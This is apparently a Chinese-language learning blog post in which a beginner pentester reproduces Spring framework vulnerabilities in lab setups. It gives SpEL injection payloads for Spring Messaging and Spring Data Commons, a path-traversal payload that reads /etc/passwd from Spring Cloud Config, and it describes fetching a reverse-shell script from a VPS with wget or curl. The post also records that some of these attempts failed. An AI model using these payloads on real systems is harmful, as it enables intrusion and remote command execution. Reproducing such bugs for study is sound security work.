上周用了一周的时间把java基础部分看完了(也就是能看懂代码),打算把常见java框架的漏洞复现一下,后面着重web端的渗透测试以及实战项目,还要学免杀、社工(任重道远),所以不打算学习java框架了,以复现为主。
Spring是一个开源框架,它由Rod Johnson创建。它是为了解决企业应用开发的复杂性而创建的。Spring使用基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅限于服务器端的开发。从简单性、可测试性和松耦合的角度而言,任何Java应用都可以从Spring中受益。
spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,
在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext
解析,造成命令执行漏洞。
SpringFramework 5.0 ~ 5.0.4,4.3 ~ 4.3.14,以及停止维护的更老版本均受影响
环境主页:
spring messaging
是基于sockjs
(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket
通信,老式浏览器中使用ajax
通信。
STOMP协议:将数据组合成一个文本流。
sockjs协议:发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信。
执行的SpEL表达式,如T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')
访问/gs-guide-websocket
:
使用作者给出的POC
即可执行命令。
说明:这里不做演示,作者给出的说明很完善。
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
Spring Data Commons 1.13至1.13.10(Ingalls SR10)
Spring Data REST 2.6至2.6.10(Ingalls SR10)
Spring Data Commons 2.0至2.0.5(Kay SR5)
Spring Data REST 3.0至3.0.5(Kay SR5)
较旧的不受支持的版本也会受到影响
注册用户进行抓包:
payload:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
首先在vps上开启http服务,并编写bash反弹脚本:
抓包执行命令,下载该脚本:
/usr/bin/wget -P 目录 脚本网址
curl -L url -o <filePath>
然后使用/bin/bash
执行该脚本即可,但是我这里一直下载不了。烦死了…
下载 v2.2.2 版本并解压:
wget https://github.com/spring-cloud/spring-cloud-config/archive/v2.2.2.RELEASE.tar.gz
tar -zxvf v2.2.2.RELEASE.tar.gz
安装启动:
cd spring-cloud-config-2.2.2.RELEASE/spring-cloud-config-server
../mvnw spring-boot:run
查看是否启动成功(默认8888端口):
spring cloud config
或者使用docker进行搭建:
docker pull hyness/spring-cloud-config-server:2.1.6.RELEASE
docker run -it --name=spring-cloud-config-server \
-p 8888:8888 \
hyness/spring-cloud-config-server:2.1.6.RELEASE \
--spring.cloud.config.server.git.uri=https://github.com/spring-cloud-samples/config-repo
Spring Cloud Config: 2.2.0 to 2.2.2
Spring Cloud Config: 2.1.0 to 2.1.8
/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/ddd
这里不知道为什么,payload打不了,所以又换了个环境:
http://vulfocus.fofa.so/
心态炸了,不写了,找到一片文章,写的很详细:
Spring框架漏洞复现笔记